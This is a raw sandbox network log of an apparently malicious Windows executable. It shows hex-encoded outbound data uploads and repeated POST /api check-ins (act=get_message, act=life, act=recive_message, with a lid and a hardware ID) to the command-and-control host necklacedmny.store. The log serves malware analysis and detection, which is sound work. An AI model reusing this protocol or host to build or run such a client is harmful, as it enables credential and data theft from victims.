2024-10-31 23:39:01 UTC	15331	OUT	Data Raw: ce d8 f2 6e 5e 77 b7 8b 5d b8 2f ab 1a ef 81 77 fd 91 24 40 0e e4 da 98 9a 7c 99 7c c3 72 61 01 fd 0a 1d 93 69 65 0a c9 b6 69 ec 3b 2b 81 30 74 1e d6 da b3 5c c3 c6 c8 c7 ed 03 92 69 bf 2a dd 86 2b 05 3f bd 45 46 b8 6c 88 98 c0 fd 34 3b 97 e3 19 f5 27 2b d6 7c 7f 6c aa 74 83 e5 9c 4e 33 c5 2f 29 ec d2 2f de 26 d5 56 09 ed 05 70 63 a2 37 61 ca 40 4a f0 6a 54 73 b5 26 62 a6 b0 11 da bc 04 66 91 5b a3 51 c4 ce d6 06 61 f5 93 2e 49 99 45 d3 7e 59 a3 be 94 ba 87 2b 27 3f 9f 00 c9 e9 61 5c ea 73 d0 f7 ac 48 b7 41 c6 3d b0 c0 55 1f ab 46 9f 95 04 df d9 a5 9c 7f e7 58 eb 56 7a e0 15 ef 92 5e 19 78 cd bf a9 d8 08 cb 9f e6 db d4 94 47 77 69 c1 b5 01 fb a2 21 06 9a 35 93 54 ab 33 42 c8 b7 03 9b bf 51 a6 24 f0 6c fe c2 05 f6 f3 b1 ce 09 03 cd 6f ca f5 6c 54 e3 76 c4 Data Ascii: n^w]/w$@\|\|raiei;+0t\i*+?EFl4;'+\|ltN3/)/&Vpc7a@JjTs&bf[Qa.IE~Y+'?a\sHA=UFXVz^xGwi!5T3BQ$lolTv
2024-10-31 23:39:01 UTC	15331	OUT	Data Raw: 7e bb 72 af 6d c5 3d a7 d9 08 8e 5c 5a de 3d 3f 9f 9e 78 8f 81 b0 fc 07 8a e9 23 1e 2c 3e 19 2d e9 84 a5 b8 65 db a6 e0 9f ca d9 e0 5b b3 0f 76 e2 53 5f a8 eb 63 55 47 68 c5 86 b3 25 43 83 5a 5f 78 9e 54 20 0e 84 c4 4c 7f ff 9a e5 01 1c 0a ec 23 22 fa 88 67 8d 25 3c 04 9a 52 a8 98 87 db c1 41 82 0b 63 cc 8f 73 61 9f e4 78 b6 dd 72 bf d9 69 43 23 62 af 1c 08 85 58 49 e5 37 16 da 86 8c 17 b1 44 c5 e0 18 8d d6 3d 32 97 80 c5 9b 1d df f9 c3 d3 fa dd 1f 8c db 6b 37 8c a6 8b bb 6d 9f db 7a 7c d5 98 ae 65 b5 d4 be f1 19 d2 50 a1 91 b1 70 f7 20 4b 65 9a 91 57 a5 5d 4d af 8f fe 9e 17 34 ef 3c fd d4 31 ed 69 f0 88 b4 f8 1b 2b 5b 5f ab ed 5a 9b ad eb 08 ca 28 ad f1 93 b8 e3 be 37 31 a4 f6 38 30 33 a0 18 e1 86 61 40 5c 3b 51 aa fb 5c 9f bd f9 5a 92 b5 0a 96 74 71 0b Data Ascii: ~rm=\Z=?x#,>-e[vS_cUGh%CZ_xT L#"g%<RAcsaxriC#bXI7D=2k7mz\|ePp KeW]M4<1i+[_Z(71803a@\;Q\Ztq
2024-10-31 23:39:01 UTC	15331	OUT	Data Raw: ec ea b8 80 81 b7 02 ea b5 f2 b6 ce a3 79 1c 08 f9 7c 40 18 75 15 b8 dd f9 bd fb f7 ff ff 70 f3 04 90 2f 8e d7 fc 09 51 b2 f4 52 91 50 86 10 f3 56 1a 48 f4 f7 bf 75 2f 0b 71 28 12 d9 73 49 71 58 fd 1b 20 ec 25 5a 62 5e 62 89 5f 26 e5 16 b8 c1 99 9f d0 92 d7 2e a1 b8 72 6e 68 87 08 eb 47 50 1b 8c f4 c4 00 e5 be 13 73 53 45 96 7a 73 49 45 ab 48 74 8e 5f 7e 19 4e 32 34 58 f8 86 77 2b 15 a0 ed c3 58 f7 7f 47 c5 38 f3 32 a7 36 32 0f e7 bf 5e ef 6e 05 2e 9e 6f 25 40 78 d1 a9 f0 a5 f6 bc 5f 19 f7 6e b4 b1 6d 3b 05 6c fb 3d d9 b2 3d 29 42 c6 c9 46 53 91 ce 86 24 99 2c f9 a2 12 c0 2a 8b bc e8 8b db 34 12 5a 98 2e 5f 50 94 38 25 63 61 13 e2 c9 73 28 a7 65 02 e4 e2 f3 e3 11 fc c6 b1 a4 d9 ed d3 6f f6 71 6a 51 a5 ed 9e e0 19 ed 6b 63 76 6e 50 62 b7 0f 81 1b cf 55 65 Data Ascii: y\|@up/QRPVHu/q(sIqX %Zb^b_&.rnhGPsSEzsIEHt_~N24Xw+XG8262^n.o%@x_nm;l==)BFS$,*4Z._P8%cas(eoqjQkcvnPbUe
2024-10-31 23:39:01 UTC	15331	OUT	Data Raw: 7a c1 b2 cc 63 1c 75 a1 30 ee 40 2a 8d 8c bd 40 f2 e4 b7 e8 17 a8 f1 bf 0e 2f 36 ad de b7 ad 04 b9 ad 3d fd 30 95 cc 17 63 4f ba a8 fe 2d d0 64 4f 18 32 c5 40 d0 76 03 e1 fd 57 67 08 09 a1 a1 35 ec 06 60 e3 f3 7e 25 85 32 de 89 b1 7d 6d 68 83 29 be d8 1f 3d e3 9d 3b a9 67 f8 c2 c7 b9 e7 d5 57 51 dd e6 b5 e2 40 b2 86 d0 ca 53 5c d8 66 c0 a3 01 5e 90 63 49 49 0b d6 10 be fe 13 b5 53 d0 0a c4 cf 03 a3 5d 73 27 f6 e1 b3 eb d8 af 90 77 79 46 bf 3f f4 18 a9 89 8e e6 63 7b df 8e 4f 44 c4 3d a7 df aa f6 8c 25 dd 8f b2 29 f0 df 5e 4c 48 db ce 59 e6 98 0d be 17 ac 41 51 a7 4a f9 f5 27 0c d0 54 ff 3f be ff d4 b8 a6 cb b5 37 c4 f2 ee 38 eb 21 05 99 6d 16 77 cd 7f 04 17 34 50 26 c7 b6 30 4a 8e 93 ce d4 83 3f 9e 49 86 79 76 d8 0f d0 7c 80 16 8a 79 53 81 66 07 fe b7 58 Data Ascii: zcu0@*@/6=0cO-dO2@vWg5`~%2}mh)=;gWQ@S\f^cIIS]s'wyF?c{OD=%)^LHYAQJ'T?78!mw4P&0J?Iyv\|ySfX
2024-10-31 23:39:01 UTC	15331	OUT	Data Raw: 71 61 2e 95 be 0b 2b 8d 64 6c 1e 95 e3 e1 1b 97 46 8e b9 06 9b 6c 82 cc 32 ae 8e e6 1d 89 41 fa b2 6b b6 4f 52 84 49 2c f5 aa 80 5e 00 54 ae c3 dc f7 40 87 b9 dd 16 f6 ab 0d 42 01 a3 95 8b a2 48 93 a5 1f cd 08 2a 3f 00 c2 4a 5f 8e b0 6b 27 61 ec 90 48 57 66 e5 cc 11 d0 d4 67 1f e7 ef 9a 94 b3 ce 72 d3 06 8d aa 06 ea 08 08 86 57 c1 5b c0 d4 82 48 3c 9c 9e 10 da b9 49 36 91 41 2c e6 79 db ad 65 e4 b5 e1 b6 4f 0f e9 37 40 8b b1 25 5b 9e 71 2d 2c fa c3 83 02 95 ab 69 f7 ef 82 75 7e 68 2b 00 2b ba 73 d7 e5 22 1c 37 bb ff 37 bd fb 3c 48 16 aa 72 f9 35 2d c0 f8 82 a0 be a4 92 b1 a0 50 80 ef 0a 9e 99 0c 48 04 6d 64 1c 1a 48 20 84 bc f6 92 74 71 b8 a7 ea a0 fb 36 12 d6 b0 ea 08 6a 5a 29 94 e4 bc 14 69 47 df 99 1c 27 8a 18 6b 01 67 70 9e 6d aa 33 e6 f2 29 f7 99 ed Data Ascii: qa.+dlFl2AkORI,^T@BH*?J_k'aHWfgrW[H<I6A,yeO7@%[q-,iu~h++s"77<Hr5-PHmdH tq6jZ)iG'kgpm3)
2024-10-31 23:39:01 UTC	15331	OUT	Data Raw: b8 c0 f2 70 a4 4d f2 e4 29 70 6d 11 ec 93 67 ca fe f4 86 d6 df cd a7 cf 5c 38 04 8a 85 4c ab 6c c0 d0 05 0c 17 5e 6a 8f 23 2d c6 b5 50 8c bb 35 e9 70 ad 49 f5 1f 7e 5d a7 39 da 9d 9d dd 56 0a d9 39 09 f3 7a f0 6e 8a e3 ae 38 c5 c1 2e 88 24 15 87 78 f3 ad 4d 87 ff 80 fc c9 8b f5 6f 8d 51 1d 65 ef ef ca e7 24 6b 8e 72 dc 5f 3c c6 d9 de 25 ce 18 fa 63 af 9d 91 66 24 93 e1 5d f2 71 8b 6f e2 e7 44 41 00 6a 7f 99 7b bf fd 37 93 3c 98 6f 22 24 c0 9b d0 e4 65 e4 f9 83 cf 0b 93 a9 38 a2 ed ce 5d 60 6a 88 32 2b c7 97 54 61 11 a7 e4 4c e9 14 f1 74 ff 4c 5e da b8 98 74 64 f8 44 99 e5 ba d2 fc 3b f3 42 0f 10 3c 5f b5 6e 00 58 6b 9d 0a df b9 7e 6b ef 5e 5f f7 dd fc 63 fc 2c 95 4c f7 1b 6f f5 e4 72 b6 bf 6b 52 16 ef fe 85 a6 10 d8 fb b8 96 2b d5 c2 a9 12 bf e8 65 ea 6f Data Ascii: pM)pmg\8Ll^j#-P5pI~]9V9zn8.$xMoQe$kr_<%cf$]qoDAj{7<o"$e8]`j2+TaLtL^tdD;B<_nXk~k^_c,LorkR+eo
2024-10-31 23:39:01 UTC	15331	OUT	Data Raw: 46 e8 44 e3 04 14 f3 bb e3 1c 70 f4 43 42 d5 77 c1 94 f7 ef 3c 5a e6 cb cd e7 7b 71 af 64 b0 5e 66 7f 76 cb e3 80 0d 2d fb 8c 2a 86 d0 fd 17 2a d4 28 fc f7 ce a6 4c 03 f0 cf e7 86 ca 7d d9 e1 ad 67 3a 42 b5 76 cc 27 3b ee bc 00 e5 7c 42 10 f9 20 5e fe 9e dd e9 57 f9 ca 5f 65 04 d7 17 46 7e 8a ad b6 f5 0d b4 c8 8e ea 12 c8 9a ec cc 1e e7 50 1e fe b3 c0 e7 1d 5a 92 7d 83 82 cf 0a 4b d1 4e 75 79 bf 65 64 df a2 6b 1c 11 7b 95 3d 58 71 d6 c8 ab 30 83 1c 52 a1 f9 e4 97 35 2d ff 27 41 47 3a 69 7b df 85 7a fd 15 7b 86 ee dc a8 94 fe 6a c8 b5 6e 8e 94 bf 90 1e c6 b1 65 5d 53 91 90 19 8b 0a 4d c2 7a f3 eb e9 01 d3 30 07 48 f6 ec dd 7a 25 da 61 ab 98 5f 88 1f 2c a2 a1 b5 56 14 5f 00 2a a0 45 e1 b0 35 c1 05 d6 43 b6 72 f9 57 41 fe 4f f9 06 a9 69 88 f0 4c 90 d6 c7 52 Data Ascii: FDpCBw<Z{qd^fv-*(L}g:Bv';\|B ^W_eF~PZ}KNuyedk{=Xq0R5-'AG:i{z{jne]SMz0Hz%a_,V_E5CrWAOiLR
2024-10-31 23:39:01 UTC	15331	OUT	Data Raw: d2 cf 30 99 20 94 4c 3f 44 18 09 58 94 86 e9 f1 4f 62 43 79 a8 1a 01 02 75 ca 03 43 87 40 f7 46 fc 3f bc dc 88 c0 d3 80 eb 12 e9 b3 48 da 5b 24 b9 0a ca 41 98 a0 61 15 ec 9f 04 71 9c a5 1a c0 1f 8c 03 83 95 98 6a 34 8c 9f 87 40 d8 99 c3 53 a4 04 80 cf b1 95 8b 4e ee 87 85 2a 8e 26 22 4c fb 4e 49 7d 08 27 c0 b4 5c 5b 53 51 4b e5 23 5a 47 f4 fa e0 28 a1 b7 68 78 e6 87 52 11 1f 17 63 5d 23 f0 99 3b 8a 3f dd 3f 7e df 29 15 50 73 64 e7 af 9c 3c a2 0a 5a a7 b5 72 15 9d 29 a8 a8 24 44 80 38 61 ed 82 a5 23 4d 9e cb 98 42 33 d0 8e 3e 3c 1d 1d 88 e9 f8 74 2a cd d8 b8 4d fb bc 46 23 93 17 8f b9 5b 59 06 d8 84 a2 b1 f3 fa 17 22 51 91 a2 59 bc 1b 60 1b 60 2a 9b cb 6a 10 a0 51 98 eb a2 3b b0 cf de 2a 3f 73 14 ff 9a 3e da 72 44 d3 39 12 84 e1 a7 36 af fc e8 ad 42 be 93 Data Ascii: 0 L?DXObCyuC@F?H[$Aaqj4@SN&"LNI}'\[SQK#ZG(hxRc]#;??~)Psd<Zr)$D8a#MB3><tMF#[Y"QY``jQ;?s>rD96B
2024-10-31 23:39:01 UTC	15331	OUT	Data Raw: 54 3d e4 4b 29 53 be 83 1c dd a6 5c ba 4b db 32 c2 b2 32 13 60 19 4e 63 6c 7d fd 27 fa 68 b3 d0 c6 3b a1 ea d5 59 93 5f 23 51 17 43 a6 e4 87 87 e5 82 3e 9f 29 03 e0 5a 8a 56 e1 52 2f f3 c4 6d b5 ee 2a 2f 1f 9f f3 10 e9 fd e3 f9 fa c2 ff 6f ae c8 23 41 50 1c cb 0d d1 e3 61 43 11 20 9b 66 41 7e 0c 11 1a 14 c6 b2 cf 5c bf 4b 80 48 76 09 ea 1f 36 b4 49 13 b4 46 5f b3 d8 3b 46 eb 4e 0f 3f f3 c7 69 e3 77 ef 6c 90 ab f0 79 22 73 7e 9c 29 31 75 72 ec 8e eb 8a 16 e3 a3 2c ea eb ee 0a fd 3b 02 94 ed 5f 56 e7 5a 75 2f 69 d0 7b a1 c6 ac 6b 08 38 f3 61 62 bb 28 97 54 25 63 80 b8 6c b8 21 2f f0 71 5a fa 32 99 84 e6 ae 3e 3d 79 e0 05 b9 e5 d3 3a 3b a4 d4 9e f0 16 50 4b e5 f0 c7 de 61 42 10 80 17 6a e3 66 95 58 ff 33 97 b7 bf ac e6 0b d0 dc 87 b9 2e 1a f3 10 b2 40 c3 a7 Data Ascii: T=K)S\K22`Ncl}'h;Y_#QC>)ZVR/m*/o#APaC fA~\KHv6IF_;FN?iwly"s~)1ur,;_VZu/i{k8ab(T%cl!/qZ2>=y:;PKaBjfX3.@
2024-10-31 23:39:03 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jmmnkrlhco01arja48nlq6k49u; expires=Mon, 24-Feb-2025 17:25:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ohT1zq8EdpPkMbM3Rw%2BjqCZrWxbtp16ETz6v9i3vHBU1gAT4IlhqLYbSZ2v7EpawkfMtw4TF%2BW7UHWJcLUE5A6xeRTG4Vuw8hbnPP4eF%2FcaH7HCqmKYCnpfO%2BaGvScYskuONH9o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77b66ae99474f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1795&sent=220&recv=599&lost=0&retrans=0&sent_bytes=2844&recv_bytes=551303&delivery_rate=1623318&cwnd=251&unsent_bytes=0&cid=2e1b1ee34829b1d6&ts=2424&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50006	188.114.96.3	443	4916	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:04 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 23:39:04 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 46 36 34 41 42 43 39 32 41 33 35 36 42 34 43 42 31 44 30 31 30 43 43 41 36 36 31 30 36 43 38 35 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=F64ABC92A356B4CB1D010CCA66106C85
2024-10-31 23:39:05 UTC	1011	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j45g1kevi4jo8u1lcio948n1hr; expires=Mon, 24-Feb-2025 17:25:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZbTLexPfBRDSIXM2GHsTl6LgRTBaqPQsHdHPFTSofnIBBC1xHbFzv8GWormHT7sWhtY7CQsK1tdWZIOcYjoIYF1aRfEm0Jm4NUbnV6LKO8kLA%2BliK8xchc0R27LBJEUikp%2F9WPA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77b79bd7f46d8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1173&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2362153&cwnd=251&unsent_bytes=0&cid=c432bc3f1e4fdd30&ts=499&x=0"
2024-10-31 23:39:05 UTC	214	IN	Data Raw: 64 30 0d 0a 30 4c 79 71 35 4b 2f 66 4e 42 76 62 47 43 37 32 39 59 55 32 47 61 37 65 6b 62 70 47 65 63 61 64 52 4f 46 55 76 48 79 4c 39 5a 43 4c 78 34 69 52 6a 65 55 57 63 36 39 73 58 73 79 70 71 6d 6f 32 6e 2b 61 6b 6c 48 52 49 38 37 4e 31 30 47 65 53 54 62 32 70 76 37 2f 61 7a 4c 69 41 75 31 46 39 39 58 31 57 6b 39 65 70 46 48 2f 61 2f 4b 75 4b 61 6c 75 6a 76 33 37 52 4b 5a 41 48 71 59 43 79 36 70 37 43 6b 4e 75 76 44 6b 66 30 52 41 48 48 7a 62 41 59 4b 35 2f 72 76 34 74 33 53 75 69 73 63 72 31 37 30 52 58 6c 6b 4d 7a 2f 7a 73 75 4b 79 37 42 5a 4e 62 35 67 53 39 54 5a 70 31 42 74 6a 4f 53 68 6c 6d 51 63 35 4b 64 30 6e 41 6b 3d 0d 0a Data Ascii: d00Lyq5K/fNBvbGC729YU2Ga7ekbpGecadROFUvHyL9ZCLx4iRjeUWc69sXsypqmo2n+aklHRI87N10GeSTb2pv7/azLiAu1F99X1Wk9epFH/a/KuKalujv37RKZAHqYCy6p7CkNuvDkf0RAHHzbAYK5/rv4t3Suiscr170RXlkMz/zsuKy7BZNb5gS9TZp1BtjOShlmQc5Kd0nAk=
2024-10-31 23:39:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50008	188.114.96.3	443	5280	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:06 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 23:39:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 23:39:07 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rgtqkh0031tp6182q76aa5k7ao; expires=Mon, 24-Feb-2025 17:25:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3CDciCTzYN524mggqf%2BPJwUUOJ3qvX3Zhus0QiBzjZ%2B%2BwirEZp4APg9wz9pCbsVyIpx5vFKCOV4b3Zw4otRa4TIhYuEpxGwncu1wA6aKdT%2FtcLp2G9vSlzYjHc3qjwCqOIs%2Bxt0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77b88efd5e80b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1406&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2062678&cwnd=246&unsent_bytes=0&cid=7f86693a5b5258d4&ts=528&x=0"
2024-10-31 23:39:07 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 23:39:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50009	188.114.96.3	443	5280	C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 23:39:08 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 23:39:08 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 23:39:08 UTC	1013	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 23:39:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gl45p8kpj73hmhddbfia24voih; expires=Mon, 24-Feb-2025 17:25:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FSdyeDGR9ToCZZc6vhWsJCvhvLRO8bWjWSUM9YQiiMRe2bFk1%2FAyT2kZvdcRund7wSOOQP3ndZu4xuUaFnE9wT62f7i8UfpK9L%2FDuoT4RZa1bopEohV7atD6DnjO1oHn0XYGF0w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db77b900d92ddac-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1144&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2419381&cwnd=252&unsent_bytes=0&cid=227f5c241aeeaaa9&ts=487&x=0"
2024-10-31 23:39:08 UTC	356	IN	Data Raw: 34 64 63 0d 0a 68 77 58 54 49 63 34 6e 43 4a 51 43 53 45 6f 34 31 39 66 48 61 45 70 39 73 68 5a 42 37 74 6c 7a 31 36 76 73 46 42 41 4a 4d 78 6e 38 4a 36 55 44 39 42 4d 6b 74 6e 45 74 61 41 4b 6a 70 62 49 4e 5a 6c 2f 54 63 6d 50 55 76 78 4b 37 32 49 6b 34 4d 6e 39 65 4f 37 31 6a 73 6b 32 39 51 69 53 32 5a 7a 42 6f 41 6f 79 73 35 51 30 6b 58 34 67 30 4a 49 53 37 45 72 76 4a 6a 58 39 2f 65 56 39 36 37 32 6d 30 53 61 74 45 62 50 56 75 4a 53 39 64 73 72 61 74 42 69 4d 51 32 6e 74 6a 77 76 73 57 72 59 6e 57 4e 6c 31 73 52 33 6a 4b 5a 4b 42 4b 37 46 6f 6b 37 79 41 74 4a 42 72 74 39 61 59 4e 4b 42 48 55 63 69 71 47 73 52 75 7a 79 49 68 2b 59 47 42 56 63 65 39 6e 74 30 69 68 54 58 6a 34 5a 43 49 6b 57 37 69 32 35 55 52 6f 47 4d 67 30 65 38 7a 6f 49 37 62 59 6e 32 Data Ascii: 4dchwXTIc4nCJQCSEo419fHaEp9shZB7tlz16vsFBAJMxn8J6UD9BMktnEtaAKjpbINZl/TcmPUvxK72Ik4Mn9eO71jsk29QiS2ZzBoAoys5Q0kX4g0JIS7ErvJjX9/eV9672m0SatEbPVuJS9dsratBiMQ2ntjwvsWrYnWNl1sR3jKZKBK7Fok7yAtJBrt9aYNKBHUciqGsRuzyIh+YGBVce9nt0ihTXj4ZCIkW7i25URoGMg0e8zoI7bYn2
2024-10-31 23:39:08 UTC	895	IN	Data Raw: 6b 61 43 45 6a 58 36 65 2b 72 41 63 6c 48 39 31 2b 4c 49 2b 37 46 72 2f 44 67 58 78 32 5a 6c 78 39 35 57 66 78 44 65 78 43 63 72 59 34 61 67 74 66 70 62 4b 70 48 47 6f 6c 6b 47 74 74 6c 66 73 57 75 59 6e 57 4e 6e 70 75 55 6e 6a 75 61 4c 4a 4c 70 31 64 71 35 47 59 6e 4c 55 69 7a 73 4b 73 41 4b 77 33 61 65 69 57 50 73 68 71 38 7a 49 6c 79 4d 69 55 52 66 50 30 6e 36 51 4f 4e 53 47 48 36 61 6a 30 6f 47 71 72 37 76 45 6f 76 45 35 41 73 59 34 69 36 46 62 54 4e 67 48 68 32 5a 31 64 31 36 47 69 33 53 61 78 43 59 50 35 6f 4b 79 56 52 75 72 57 67 42 79 77 5a 33 48 55 6d 7a 50 56 52 73 74 48 4f 4c 6a 4a 46 56 6e 6a 33 4a 59 52 41 6f 6b 74 74 34 43 41 31 5a 6b 50 31 73 71 6c 4b 63 46 2f 65 63 53 79 65 75 67 4f 77 78 35 78 36 64 32 31 63 65 4f 74 6e 74 45 53 68 53 32 Data Ascii: kaCEjX6e+rAclH91+LI+7Fr/DgXx2Zlx95WfxDexCcrY4agtfpbKpHGolkGttlfsWuYnWNnpuUnjuaLJLp1dq5GYnLUizsKsAKw3aeiWPshq8zIlyMiURfP0n6QONSGH6aj0oGqr7vEovE5AsY4i6FbTNgHh2Z1d16Gi3SaxCYP5oKyVRurWgBywZ3HUmzPVRstHOLjJFVnj3JYRAoktt4CA1ZkP1sqlKcF/ecSyeugOwx5x6d21ceOtntEShS2
2024-10-31 23:39:08 UTC	1369	IN	Data Raw: 31 38 61 63 0d 0a 53 47 58 2f 61 53 4d 36 55 4c 6d 37 74 77 63 69 47 74 35 34 4a 6f 4f 37 45 4c 54 48 68 48 30 79 4a 52 46 38 2f 53 66 70 41 34 4e 49 65 75 52 71 49 54 6b 59 67 4c 61 72 42 43 38 4a 6b 47 74 74 6c 66 73 57 75 59 6e 57 4e 6e 6c 74 58 58 66 6c 59 61 4e 4e 6f 31 64 67 35 47 51 6b 4c 46 61 37 76 4b 67 46 4c 51 33 55 64 44 47 4e 76 68 61 37 78 4a 78 7a 4d 69 55 52 66 50 30 6e 36 51 4f 57 63 57 33 6d 63 53 31 71 62 37 61 37 71 77 30 2b 58 38 38 36 4f 73 79 38 48 66 57 52 7a 6e 56 2b 5a 6c 68 2b 36 6e 57 37 54 36 31 58 62 66 39 70 49 43 6c 55 75 72 36 70 44 7a 6f 55 33 33 77 73 6a 62 59 63 76 73 32 4f 4e 6a 77 72 56 6d 4f 6c 50 2f 46 69 6f 55 70 34 39 58 46 6f 48 56 6d 37 75 36 49 63 61 41 43 65 62 57 4f 4c 74 31 48 74 69 59 39 36 66 6d 70 65 66 Data Ascii: 18acSGX/aSM6ULm7twciGt54JoO7ELTHhH0yJRF8/SfpA4NIeuRqITkYgLarBC8JkGttlfsWuYnWNnltXXflYaNNo1dg5GQkLFa7vKgFLQ3UdDGNvha7xJxzMiURfP0n6QOWcW3mcS1qb7a7qw0+X886Osy8HfWRznV+Zlh+6nW7T61Xbf9pIClUur6pDzoU33wsjbYcvs2ONjwrVmOlP/FioUp49XFoHVm7u6IcaACebWOLt1HtiY96fmpef
2024-10-31 23:39:08 UTC	1369	IN	Data Raw: 49 70 30 46 75 39 6d 30 68 4a 6c 53 38 75 61 30 47 4c 77 33 64 63 53 75 47 73 68 53 35 78 49 31 6b 63 57 6f 52 4e 61 56 67 71 51 50 30 42 55 33 46 56 77 6c 6f 52 66 75 73 35 51 30 6b 58 34 67 30 49 6f 53 38 48 37 48 62 67 47 52 38 62 46 46 39 37 57 2b 32 54 36 4a 4c 65 50 35 68 4b 69 5a 56 76 62 79 68 43 79 77 62 33 48 4e 6a 77 76 73 57 72 59 6e 57 4e 6c 70 6f 53 32 47 6e 53 62 70 44 71 31 56 38 37 53 41 31 5a 6b 50 31 73 71 6c 4b 63 46 2f 55 66 79 6d 46 75 42 69 78 78 49 35 2f 66 57 4a 5a 64 75 31 31 73 45 6d 2b 51 57 2f 33 62 79 41 73 55 72 6d 36 71 51 34 36 46 4a 41 36 59 34 75 6a 55 65 32 4a 72 6e 31 6b 53 45 4e 70 70 58 6a 2f 57 75 78 43 5a 72 59 34 61 69 46 57 74 4c 53 76 44 43 4d 61 33 58 51 6d 68 72 77 64 74 63 6d 4e 63 48 52 6d 57 58 50 70 61 37 Data Ascii: 